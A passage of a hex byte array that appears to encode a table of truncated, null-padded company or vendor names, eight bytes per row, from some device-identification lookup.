0x6f,\r\n0x48, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x6f, 0x75, 0x6e, 0x64, 0x49, 0x64, 0x00,\r\n0x55, 0x62, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00,\r\n0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x41, 0x6e,\r\n0x41, 0x63, 0x63, 0x73, 0x65, 0x6e, 0x73, 0x65,\r\n0x43, 0x6f, 0x72, 0x65, 0x4d, 0x69, 0x63, 0x72,\r\n0x56, 0x69, 0x74, 0x65, 0x6c, 0x65, 0x63, 0x42,\r\n0x48, 0x6f, 0x6e, 0x48, 0x61, 0x69, 0x50, 0x72,\r\n0x54, 0x65, 0x72, 0x61, 0x6e, 0x65, 0x74, 0x69,\r\n0x41, 0x73, 0x68, 0x6c, 0x79, 0x41, 0x75, 0x64,\r\n0x53, 0x65, 0x6e, 0x68, 0x61, 0x69, 0x45, 0x6c,\r\n0x42, 0x6f, 0x75, 0x6e, 0x74, 0x69, 0x66, 0x75,\r\n0x47, 0x61, 0x73, 0x73, 0x6e, 0x65, 0x72, 0x57,\r\n0x57, 0x69, 0x7a, 0x6c, 0x6f, 0x67, 0x69, 0x63,\r\n0x44, 0x61, 0x74, 0x61, 0x73, 0x79, 0x6d, 0x50,\r\n0x4e, 0x61, 0x65, 0x69, 0x6c, 0x43, 0x6f, 0x6d,\r\n0x41, 0x78, 0x65, 0x6c, 0x6c, 0x57, 0x69, 0x72,\r\n0x4d, 0x63, 0x75, 0x62, 0x65, 0x6c, 0x6f, 0x67,\r\n0x43, 0x6f, 0x72, 0x65, 0x73, 0x74, 0x61, 0x72,\r\n0x50, 0x68, 0x79, 0x73, 0x69, 0x6f, 0x6d, 0x65,\r\n0x45, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x54, 0x65,\r\n0x41, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x74, 0x65,\r\n0x48, 0x69, 0x6c, 0x6c, 0x2d, 0x52, 0x6f, 0x6d,\r\n0x4d, 0x73, 0x74, 0x61, 0x72, 0x53, 0x65, 0x6d,\r\n0x43, 0x61, 0x72, 0x76, 0x65, 0x72, 0x73, 0x53,\r\n0x49, 0x6e, 0x63, 0x6e, 0x65, 0x74, 0x77, 0x6f,\r\n0x57, 0x69, 0x6e, 0x6b, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x53, 0x79, 0x6d, 0x73, 0x74, 0x72, 0x65, 0x61,\r\n0x55, 0x53, 0x52, 0x6f, 0x62, 0x6f, 0x74, 0x69,\r\n0x56, 0x69, 0x74, 0x65, 0x6c, 0x63, 0x6f, 0x6d,\r\n0x41, 0x6c, 0x69, 0x76, 0x65, 0x54, 0x65, 0x63,\r\n0x51, 0x75, 0x69, 0x78, 0x61, 0x6e, 0x74, 0x00,\r\n0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6d, 0x70, 0x6f,\r\n0x4b, 0x65, 0x79, 0x52, 0x61, 0x64, 0x69, 0x6f,\r\n0x4c, 0x69, 0x66, 0x65, 0x73, 0x79, 0x6e, 0x63,\r\n0x5a, 0x65, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x7a,\r\n0x4e, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x43,\r\n0x42, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x72, 0x65, 0x6e, 0x64, 0x6e, 0x65, 0x74,\r\n0x4b, 0x79, 0x75, 0x64, 0x65, 0x6e, 0x54, 0x65,\r\n0x53, 0x65, 0x70, 0x73, 0x61, 0x00, 0x00, 0x00,\r\n0x4b, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6c,\r\n0x44, 0x61, 0x74, 0x61, 0x6e, 0x67, 0x54, 0x65,\r\n0x4a, 0x65, 0x6f, 0x6e, 0x67, 0x6d, 0x69, 0x6e,\r\n0x44, 0x61, 0x74, 0x61, 0x73, 0x74, 0x6f, 0x72,\r\n0x42, 0x69, 0x6f, 0x2d, 0x4c, 0x6f, 0x67, 0x69,\r\n0x49, 0x70, 0x46, 0x61, 0x62, 0x72, 0x69, 0x63,\r\n0x48, 0x75, 0x6e, 0x74, 0x6c, 0x65, 0x69, 0x67,\r\n0x45, 0x6c, 0x6d, 0x61, 0x54, 0x72, 0x65, 0x6e,\r\n0x43, 0x6f, 0x76, 0x65, 0x72, 0x67, 0x65, 0x6e,\r\n0x53, 0x61, 0x67, 0x65, 0x49, 0x6e, 0x73, 0x74,\r\n0x48, 0x69, 0x2d, 0x50, 0x54, 0x65, 0x63, 0x68,\r\n0x4c, 0x65, 0x74, 0x53, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x44, 0x69, 0x73, 0x70,\r\n0x44, 0x61, 0x74, 0x61, 0x63, 0x6f, 0x6d, 0x00,\r\n0x4d, 0x6d, 0x2d, 0x4c, 0x61, 0x62, 0x00, 0x00,\r\n0x49, 0x6e, 0x66, 0x69, 0x6e, 0x69, 0x61, 0x73,\r\n0x41, 0x6c, 0x74, 0x69, 0x63, 0x61, 0x73, 0x74,\r\n0x41, 0x69, 0x6d, 0x49, 0x6e, 0x66, 0x72, 0x61,\r\n0x53, 0x74, 0x6f, 0x6c, 0x69, 0x6e, 0x78, 0x00,\r\n0x4e, 0x6f, 0x72, 0x74, 0x65, 0x63, 0x68, 0x49,\r\n0x53, 0x44, 0x69, 0x67, 0x6d, 0x53, 0x61, 0x66,\r\n0x41, 0x77, 0x61, 0x72, 0x65, 0x70, 0x6f, 0x69,\r\n0x41, 0x63, 0x72, 0x6f, 0x54, 0x65, 0x6c, 0x65,\r\n0x41, 0x69, 0x72, 0x61, 0x6b, 0x00, 0x00, 0x00,\r\n0x54, 0x7a, 0x65, 0x72, 0x6f, 0x54, 0x65, 0x63,\r\n0x42, 0x75, 0x73, 0x69, 0x6e, 0x65, 0x73, 0x73,\r\n0x56, 0x69, 0x78, 0x73, 0x00, 0x00, 0x00, 0x00,\r\n0x44, 0x65, 0x6b, 0x74, 0x65, 0x63, 0x44, 0x69,\r\n0x4f, 0x73, 0x69, 0x53, 0x65, 0x63, 0x75, 0x72,\r\n0x43, 0x72, 0x65, 0x76, 0x69, 0x73, 0x00, 0x00,\r\n0x56, 0x61, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x43,\r\n0x41, 0x73, 0x67, 0x61, 0x53, 0x41, 0x00, 0x00,\r\n0x45, 0x78, 0x74, 0x61, 0x6e, 0x64, 0x6f, 0x6e,\r\n0x54, 0x68, 0x65, 0x63, 0x75, 0x73, 0x54, 0x65,\r\n0x41, 0x72, 0x74, 0x65, 0x63, 0x68, 0x45, 0x6c,\r\n0x50, 0x72, 0x65, 0x63, 0x69, 0x73, 0x65, 0x41,\r\n0x4c, 0x65, 0x78, 0x62, 0x6f, 0x78, 0x00, 0x00,\r\n0x42, 0x65, 0x74, 0x61, 0x54, 0x65, 0x63, 0x68,\r\n0x50, 0x72, 0x6f, 0x66, 0x69, 0x63, 0x6f, 0x6d,\r\n0x47, 0x61, 0x6d, 0x65, 0x50, 0x6c, 0x75, 0x73,\r\n0x4e, 0x65, 0x6f, 0x50, 0x68, 0x6f, 0x74, 0x6f,\r\n0x52, 0x65, 0x6e, 0x61, 0x69, 0x73, 0x73, 0x61,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x54, 0x61,\r\n0x50, 0x6c, 0x75, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x6f, 0x6e, 0x6f, 0x61, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x67, 0x65, 0x49, 0x6e, 0x66, 0x6f,\r\n0x48, 0x6f, 0x61, 0x6e, 0x61, 0x4d, 0x65, 0x64,\r\n0x4f, 0x70, 0x65, 0x6e, 0x62, 0x72, 0x61, 0x69,\r\n0x4d, 0x69, 0x6e, 0x67, 0x6a, 0x6f, 0x6e, 0x67,\r\n0x54, 0x65, 0x63, 0x68, 0x73, 0x70, 0x68, 0x65,\r\n0x44, 0x61, 0x74, 0x61, 0x43, 0x65, 0x6e, 0x74,\r\n0x5a, 0x75, 0x72, 0x69, 0x63, 0x68, 0x55, 0x6e,\r\n0x45, 0x66, 0x73, 0x53, 0x61, 0x73, 0x00, 0x00,\r\n0x48, 0x75, 0x5a, 0x68, 0x6f, 0x75, 0x4e, 0x61,\r\n0x4c, 0x65, 0x69, 0x70, 0x6f, 0x6c, 0x64, 0x2b,\r\n0x55, 0x72, 0x69, 0x65, 0x6c, 0x00, 0x00, 0x00,\r\n0x53, 0x74, 0x6f, 0x72, 0x65, 0x61, 0x67, 0x65,\r\n0x48, 0x75, 0x6e, 0x74, 0x65, 0x72, 0x45, 0x6e,\r\n0x49, 0x73, 0x69, 0x6c, 0x6f, 0x6e, 0x00, 0x00,\r\n0x4c, 0x65, 0x6e, 0x65, 0x63, 0x6f, 0x00, 0x00,\r\n0x4d, 0x32, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x75, 0x6c, 0x74, 0x69, 0x76, 0x69, 0x73,\r\n0x52, 0x61, 0x64, 0x69, 0x6f, 0x63, 0x72, 0x61,\r\n0x48, 0x6f, 0x72, 0x6f, 0x71, 0x75, 0x61, 0x72,\r\n0x44, 0x65, 0x61, 0x53, 0x65, 0x63, 0x75, 0x72,\r\n0x4d, 0x65, 0x74, 0x65, 0x6f, 0x72, 0x43, 0x6f,\r\n0x4e, 0x75, 0x6d, 0x61, 0x74, 0x69, 0x63, 0x73,\r\n0x43, 0x68, 0x61, 0x6d, 0x62, 0x65, 0x72, 0x6c,\r\n0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x54, 0x65,\r\n0x42, 0x61, 0x6c, 0x62, 0x6f, 0x61, 0x49, 0x6e,\r\n0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4d, 0x65,\r\n0x4e, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4e, 0x6f, 0x6b, 0x69, 0x61, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x6e, 0x78, 0x4e, 0x65, 0x74, 0x77,\r\n0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x68, 0x6f,\r\n0x4b, 0x6f, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x6e, 0x73, 0x75, 0x6d, 0x65, 0x72,\r\n0x4e, 0x61, 0x64, 0x61, 0x6d, 0x00, 0x00, 0x00,\r\n0x41, 0x42, 0x65, 0x6c, 0x74, 0x72, 0x6e, 0x00,\r\n0x4f, 0x74, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x6f, 0x77, 0x65, 0x72, 0x74, 0x65, 0x63,\r\n0x56, 0x65, 0x6e, 0x74, 0x75, 0x73, 0x4e, 0x65,\r\n0x52, 0x66, 0x69, 0x64, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x64, 0x72,\r\n0x45, 0x6d, 0x68, 0x4d, 0x65, 0x74, 0x65, 0x72,\r\n0x4b, 0x70, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68,\r\n0x45, 0x6c, 0x69, 0x6d, 0x50, 0x72, 0x6f, 0x64,\r\n0x51, 0x2d, 0x4d, 0x61, 0x74, 0x69, 0x63, 0x53,\r\n0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x41,\r\n0x53, 0x74, 0x72, 0x61, 0x74, 0x61, 0x6c, 0x69,\r\n0x41, 0x62, 0x65, 0x72, 0x64, 0x65, 0x65, 0x6e,\r\n0x43, 0x6f, 0x6d, 0x53, 0x41, 0x54, 0x00, 0x00,\r\n0x53, 0x65, 0x65, 0x63, 0x6f, 0x64, 0x65, 0x00,\r\n0x49, 0x74, 0x67, 0x57, 0x6f, 0x72, 0x6c, 0x64,\r\n0x41, 0x69, 0x7a, 0x65, 0x6e, 0x53, 0x6f, 0x6c,\r\n0x43, 0x75, 0x62, 0x65, 0x54, 0x65, 0x63, 0x68,\r\n0x44, 0x69, 0x78, 0x74, 0x61, 0x6c, 0x42, 0x69,\r\n0x57, 0x61, 0x6e, 0x73, 0x68, 0x69, 0x68, 0x45,\r\n0x57, 0x6f, 0x6e, 0x64, 0x65, 0x50, 0x72, 0x6f,\r\n0x53, 0x61, 0x75, 0x6e, 0x64, 0x65, 0x72, 0x73,\r\n0x4e, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x6f, 0x6d,\r\n0x49, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x6e, 0x65, 0x52, 0x66, 0x54, 0x65, 0x63,\r\n0x4e, 0x69, 0x74, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x52, 0x61, 0x64, 0x69, 0x6f, 0x70, 0x75, 0x6c,\r\n0x57, 0x69, 0x2d, 0x47, 0x65, 0x61, 0x72, 0x00,\r\n0x43, 0x79, 0x74, 0x79, 0x63, 0x00, 0x00, 0x00,\r\n0x41, 0x74, 0x61, 0x6c, 0x75, 0x6d, 0x57, 0x69,\r\n0x44, 0x66, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x65, 0x63, 0x75, 0x72, 0x61, 0x70, 0x6c,\r\n0x44, 0x61, 0x69, 0x6e, 0x69, 0x70, 0x70, 0x6f,\r\n0x53, 0x61, 0x6d, 0x70, 0x6f, 0x00, 0x00, 0x00,\r\n0x44, 0x72, 0x65, 0x73, 0x73, 0x65, 0x72, 0x57,\r\n0x4d, 0x6f, 0x72, 0x67, 0x61, 0x6e, 0x53, 0x74,\r\n0x47, 0x72, 0x65, 0x65, 0x6e, 0x70, 0x65, 0x61,\r\n0x4a, 0x6a, 0x70, 0x6c, 0x75, 0x73, 0x00, 0x00,\r\n0x42, 0x65, 0x68, 0x72, 0x69, 0x6e, 0x67, 0x65,\r\n0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x59, 0x65,\r\n0x41, 0x2d, 0x46, 0x69, 0x72, 0x73, 0x74, 0x54,\r\n0x52, 0x61, 0x64, 0x77, 0x69, 0x6e, 0x00, 0x00,\r\n0x44, 0x69, 0x6c, 0x69, 0x74, 0x68, 0x69, 0x75,\r\n0x50, 0x65, 0x63, 0x6f, 0x49, 0x69, 0x00, 0x00,\r\n0x44, 0x67, 0x32, 0x6c, 0x54, 0x65, 0x63, 0x68,\r\n0x50, 0x65, 0x72, 0x66, 0x69, 0x73, 0x61, 0x6e,\r\n0x53, 0x61, 0x6e, 0x65, 0x53, 0x79, 0x73, 0x74,\r\n0x55, 0x62, 0x69, 0x71, 0x75, 0x69, 0x74, 0x69,\r\n0x41, 0x57, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e,\r\n0x58, 0x69, 0x72, 0x61, 0x6e, 0x65, 0x74, 0x43,\r\n0x4e, 0x6f, 0x6c, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x52, 0x65, 0x64, 0x2d, 0x4c, 0x65, 0x6d, 0x6f,\r\n0x4e, 0x65, 0x77, 0x73, 0x6f, 0x66, 0x74, 0x54,\r\n0x48, 0x6f, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x53,\r\n0x4e, 0x65, 0x76, 0x69, 0x73, 0x4e, 0x65, 0x74,\r\n0x4c, 0x61, 0x62, 0x69, 0x74, 0x65, 0x63, 0x2d,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x2f, 0x56, 0x69,\r\n0x4c, 0x75, 0x6e, 0x61, 0x74, 0x6f, 0x6e, 0x65,\r\n0x54, 0x65, 0x6c, 0x65, 0x66, 0x69, 0x6e, 0x53,\r\n0x4c, 0x65, 0x75, 0x7a, 0x65, 0x45, 0x6c, 0x65,\r\n0x44, 0x61, 0x76, 0x65, 0x4e, 0x65, 0x74, 0x77,\r\n0x50, 0x6f, 0x73, 0x64, 0x61, 0x74, 0x61, 0x00,\r\n0x57, 0x65, 0x69, 0x64, 0x6d, 0x6c, 0x6c, 0x00,\r\n0x43, 0x68, 0x75, 0x61, 0x6e, 0x67, 0x49, 0x6e,\r\n0x55, 0x2d, 0x57, 0x61, 0x79, 0x00, 0x00, 0x00,\r\n0x50, 0x75, 0x6c, 0x73, 0x65, 0x45, 0x69, 0x67,\r\n0x49, 0x76, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x6f, 0x6e, 0x76, 0x69, 0x73, 0x69, 0x6f,\r\n0x58, 0x69, 0x61, 0x6d, 0x65, 0x6e, 0x4f, 0x76,\r\n0x54, 0x61, 0x6b, 0x65, 0x6e, 0x61, 0x6b, 0x61,\r\n0x53, 0x61, 0x6c, 0x75, 0x74, 0x69, 0x63, 0x61,\r\n0x44, 0x2d, 0x4d, 0x61, 0x78, 0x54, 0x65, 0x63,\r\n0x50, 0x61, 0x72, 0x6b, 0x41, 0x69, 0x72, 0x00,\r\n0x4c, 0x69, 0x61, 0x62, 0x41, 0x70, 0x73, 0x00,\r\n0x4a, 0x65, 0x6e, 0x6e, 0x69, 0x63, 0x00, 0x00,\r\n0x50, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x6b, 0x00,\r\n0x4e, 0x74, 0x74, 0x41, 0x64, 0x76, 0x61, 0x6e,\r\n0x48, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x52, 0x6c, 0x77, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x46, 0x61, 0x63, 0x6f, 0x6d, 0x55, 0x6b, 0x4d,\r\n0x55, 0x34, 0x65, 0x61, 0x54, 0x65, 0x63, 0x68,\r\n0x42, 0x69, 0x78, 0x6f, 0x6c, 0x6f, 0x6e, 0x00,\r\n0x51, 0x75, 0x65, 0x73, 0x74, 0x65, 0x72, 0x54,\r\n0x41, 0x65, 0x74, 0x61, 0x41, 0x75, 0x64, 0x69,\r\n0x4b, 0x6f, 0x6c, 0x65, 0x6b, 0x74, 0x6f, 0x72,\r\n0x42, 0x2d, 0x4b, 0x79, 0x75, 0x6e, 0x67, 0x53,\r\n0x4d, 0x61, 0x64, 0x43, 0x61, 0x74, 0x7a, 0x49,\r\n0x54, 0x65, 0x72, 0x61, 0x73, 0x63, 0x61, 0x6c,\r\n0x45, 0x63, 0x61, 0x2d, 0x53, 0x69, 0x6e, 0x74,\r\n0x52, 0x6f, 0x62, 0x61, 0x74, 0x65, 0x63, 0x68,\r\n0x4b, 0x77, 0x61, 0x6e, 0x67, 0x57, 0x6f, 0x6f,\r\n0x52, 0x65, 0x78, 0x74, 0x65, 0x63, 0x68, 0x6e,\r\n0x50, 0x72, 0x6f, 0x53, 0x6f, 0x75, 0x6e, 0x64,\r\n0x43, 0x61, 0x70, 0x65, 0x6c, 0x6f, 0x6e, 0x00,\r\n0x41, 0x63, 0x63, 0x65, 0x64, 0x69, 0x61, 0x6e,\r\n0x4b, 0x79, 0x75, 0x6e, 0x67, 0x49, 0x6c, 0x00,\r\n0x41, 0x7a, 0x75, 0x72, 0x65, 0x77, 0x61, 0x76,\r\n0x41, 0x75, 0x74, 0x6f, 0x74, 0x65, 0x6c, 0x65,\r\n0x41, 0x6d, 0x62, 0x69, 0x65, 0x6e, 0x74, 0x00,\r\n0x43, 0x61, 0x72, 0x65, 0x74, 0x65, 0x63, 0x68,\r\n0x50, 0x6f, 0x6c, 0x79, 0x6d, 0x61, 0x70, 0x57,\r\n0x43, 0x69, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72,\r\n0x53, 0x68, 0x69, 0x6e, 0x6d, 0x61, 0x79, 0x77,\r\n0x54, 0x61, 0x68, 0x6f, 0x65, 0x00, 0x00, 0x00,\r\n0x49, 0x62, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x53, 0x6d, 0x61, 0x53, 0x6f, 0x6c, 0x61, 0x72,\r\n0x44, 0x65, 0x76, 0x65, 0x6c, 0x63, 0x6f, 0x00,\r\n0x47, 0x72, 0x6f, 0x75, 0x70, 0x34, 0x54, 0x65,\r\n0x49, 0x71, 0x75, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x69, 0x63, 0x6f,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x54,\r\n0x33, 0x6d, 0x47, 0x65, 0x72, 0x6d, 0x61, 0x6e,\r\n0x52, 0x75, 0x66, 0x54, 0x65, 0x6c, 0x65, 0x6d,\r\n0x46, 0x6c, 0x6f, 0x76, 0x65, 0x6c, 0x00, 0x00,\r\n0x46, 0x6c, 0x65, 0x78, 0x69, 0x70, 0x61, 0x6e,\r\n0x47, 0x75, 0x6d, 0x73, 0x74, 0x69, 0x78, 0x00,\r\n0x54, 0x65, 0x72, 0x61, 0x72, 0x65, 0x63, 0x6f,\r\n0x55, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00,\r\n0x45, 0x78, 0x61, 0x72, 0x74, 0x65, 0x63, 0x68,\r\n0x58, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x00,\r\n0x50, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x26,\r\n0x45, 0x6d, 0x69, 0x74, 0x6f, 0x72, 0x00, 0x00,\r\n0x4e, 0x69, 0x63, 0x65, 0x76, 0x74, 0x00, 0x00,\r\n0x4f, 0x73, 0x6c, 0x69, 0x6e, 0x6b, 0x53, 0x70,\r\n0x52, 0x65, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x6c, 0x69, 0x6e,\r\n0x50, 0x6b, 0x63, 0x45, 0x6c, 0x65, 0x63, 0x74,\r\n0x49, 0x72, 0x69, 0x74, 0x65, 0x6c, 0x41, 0x44,\r\n0x43, 0x61, 0x6e, 0x65, 0x73, 0x74, 0x61, 0x00,\r\n0x4b, 0x74, 0x26, 0x43, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x70, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f,\r\n0x43, 0x6c, 0x69, 0x76, 0x65, 0x74, 0x53, 0x50,\r\n0x50, 0x69, 0x63, 0x6f, 0x63, 0x68, 0x69, 0x70,\r\n0x44, 0x72, 0x49, 0x6e, 0x67, 0x48, 0x65, 0x72,\r\n0x44, 0x72, 0x65, 0x61, 0x6d, 0x54, 0x65, 0x63,\r\n0x5a, 0x69, 0x6d, 0x6d, 0x65, 0x72, 0x45, 0x6c,\r\n0x43, 0x68, 0x65, 0x65, 0x72, 0x74, 0x65, 0x6b,\r\n0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x65, 0x54, 0x65,\r\n0x51, 0x75, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x54,\r\n0x54, 0x65, 0x6c, 0x6c, 0x75, 0x6d, 0x61, 0x74,\r\n0x5a, 0x74, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x6f, 0x63, 0x61, 0x44, 0x65, 0x76, 0x69,\r\n0x46, 0x75, 0x6c, 0x63, 0x72, 0x75, 0x6d, 0x4d,\r\n0x4f, 0x6d, 0x6e, 0x65, 0x78, 0x43, 0x6f, 0x6e,\r\n0x4e, 0x65, 0x63, 0x54, 0x6f, 0x6b, 0x69, 0x6e,\r\n0x45, 0x67, 0x6f, 0x42, 0x76, 0x00, 0x00, 0x00,\r\n0x4b, 0x79, 0x6c, 0x69, 0x6e, 0x6b, 0x43, 0x6f,\r\n0x50, 0x65, 0x6c, 0x74, 0x6f, 0x72, 0x00, 0x00,\r\n0x45, 0x76, 0x65, 0x6e, 0x74, 0x69, 0x64, 0x65,\r\n0x53, 0x75, 0x73, 0x74, 0x61, 0x69, 0x6e, 0x61,\r\n0x53, 0x63, 0x69, 0x65, 0x6e, 0x63, 0x65, 0x41,\r\n0x57, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x72, 0x6f,\r\n0x4b, 0x69, 0x6e, 0x67, 0x74, 0x72, 0x6f, 0x6e,\r\n0x53, 0x65, 0x74, 0x65, 0x78, 0x53, 0x63, 0x68,\r\n0x4c, 0x69, 0x74, 0x74, 0x65, 0x6c, 0x66, 0x75,\r\n0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65,\r\n0x53, 0x63, 0x68, 0x69, 0x6c, 0x6c, 0x69, 0x6e,\r\n0x4e, 0x6f, 0x76, 0x61, 0x74, 0x65, 0x6c, 0x57,\r\n0x43, 0x65, 0x6c, 0x6c, 0x65, 0x62, 0x72, 0x69,\r\n0x43, 0x65, 0x79, 0x6f, 0x6e, 0x54, 0x65, 0x63,\r\n0x43, 0x6f, 0x6f, 0x6c, 0x6b, 0x73, 0x6b, 0x79,\r\n0x53, 0x69, 0x67, 0x70, 0x72, 0x6f, 0x00, 0x00,\r\n0x59, 0x6f, 0x72, 0x6b, 0x76, 0x69, 0x6c, 0x6c,\r\n0x49, 0x64, 0x65, 0x61, 0x6c, 0x49, 0x6e, 0x64,\r\n0x43, 0x75, 0x72, 0x76, 0x65, 0x73, 0x49, 0x6e,\r\n0x53, 0x65, 0x71, 0x75, 0x61, 0x6e, 0x73, 0x43,\r\n0x55, 0x6e, 0x69, 0x74, 0x65, 0x63, 0x68, 0x45,\r\n0x53, 0x77, 0x65, 0x65, 0x78, 0x45, 0x75, 0x72,\r\n0x54, 0x76, 0x77, 0x6f, 0x72, 0x6b, 0x73, 0x4c,\r\n0x4c, 0x70, 0x6c, 0x44, 0x65, 0x76, 0x65, 0x6c,\r\n0x42, 0x65, 0x48, 0x65, 0x72, 0x65, 0x00, 0x00,\r\n0x4f, 0x70, 0x74, 0x69, 0x63, 0x61, 0x54, 0x65,\r\n0x42, 0x61, 0x64, 0x67, 0x65, 0x72, 0x4d, 0x65,\r\n0x43, 0x61, 0x72, 0x69, 0x6e, 0x61, 0x54, 0x65,\r\n0x41, 0x6c, 0x74, 0x65, 0x63, 0x6f, 0x6e, 0x53,\r\n0x4f, 0x74, 0x73, 0x75, 0x6b, 0x61, 0x45, 0x6c,\r\n0x4c, 0x69, 0x62, 0x72, 0x65, 0x73, 0x74, 0x72,\r\n0x50, 0x69, 0x63, 0x6f, 0x73, 0x65, 0x63, 0x6f,\r\n0x4e, 0x69, 0x74, 0x74, 0x61, 0x6e, 0x00, 0x00,\r\n0x42, 0x72, 0x6f, 0x77, 0x61, 0x6e, 0x43, 0x6f,\r\n0x4d, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x69, 0x76, 0x69, 0x6f, 0x6e, 0x00, 0x00,\r\n0x4c, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x61, 0x6e,\r\n0x44, 0x61, 0x6d, 0x65, 0x74, 0x72, 0x69, 0x63,\r\n0x45, 0x3a, 0x43, 0x75, 0x65, 0x00, 0x00, 0x00,\r\n0x57, 0x6f, 0x6f, 0x6a, 0x69, 0x6e, 0x6e, 0x65,\r\n0x53, 0x75, 0x6e, 0x77, 0x61, 0x76, 0x65, 0x74,\r\n0x42, 0x62, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c,\r\n0x54, 0x65, 0x6e, 0x65, 0x72, 0x6f, 0x73, 0x00,\r\n0x49, 0x6d, 0x70, 0x69, 0x6e, 0x6a, 0x00, 0x00,\r\n0x4d, 0x61, 0x67, 0x69, 0x63, 0x61, 0x72, 0x64,\r\n0x4e, 0x69, 0x76, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x41, 0x6e, 0x74, 0x69, 0x6b, 0x43, 0x6f, 0x6d,\r\n0x54, 0x6f, 0x67, 0x61, 0x6d, 0x69, 0x45, 0x6c,\r\n0x58, 0x61, 0x6e, 0x62, 0x6f, 0x6f, 0x00, 0x00,\r\n0x53, 0x74, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00,\r\n0x53, 0x70, 0x61, 0x63, 0x65, 0x53, 0x68, 0x75,\r\n0x47, 0x65, 0x75, 0x74, 0x65, 0x62, 0x72, 0x00,\r\n0x56, 0x61, 0x74, 0x69, 0x76, 0x54, 0x65, 0x63,\r\n0x58, 0x74, 0x65, 0x61, 0x6d, 0x00, 0x00, 0x00,\r\n0x4f, 0x78, 0x66, 0x6f, 0x72, 0x64, 0x44, 0x69,\r\n0x4d, 0x61, 0x74, 0x68, 0x74, 0x65, 0x63, 0x68,\r\n0x51, 0x75, 0x61, 0x6e, 0x74, 0x61, 0x43, 0x6f,\r\n0x55, 0x62, 0x69, 0x71, 0x75, 0x61, 0x6d, 0x00,\r\n0x59, 0x76, 0x65, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x52, 0x65, 0x62, 0x6f, 0x78, 0x42, 0x56, 0x00,\r\n0x58, 0x65, 0x6e, 0x73, 0x6f, 0x75, 0x72, 0x63,\r\n0x43, 0x72, 0x65, 0x74, 0x65, 0x00, 0x00, 0x00,\r\n0x41, 0x73, 0x6d, 0x6f, 0x62, 0x69, 0x6c, 0x65,\r\n0x50, 0x61, 0x6e, 0x67, 0x6f, 0x6c, 0x69, 0x6e,\r\n0x53, 0x75, 0x6e, 0x68, 0x69, 0x6c, 0x6c, 0x6f,\r\n0x4c, 0x69, 0x74, 0x65, 0x2d, 0x4f, 0x6e, 0x54,\r\n0x50, 0x6f, 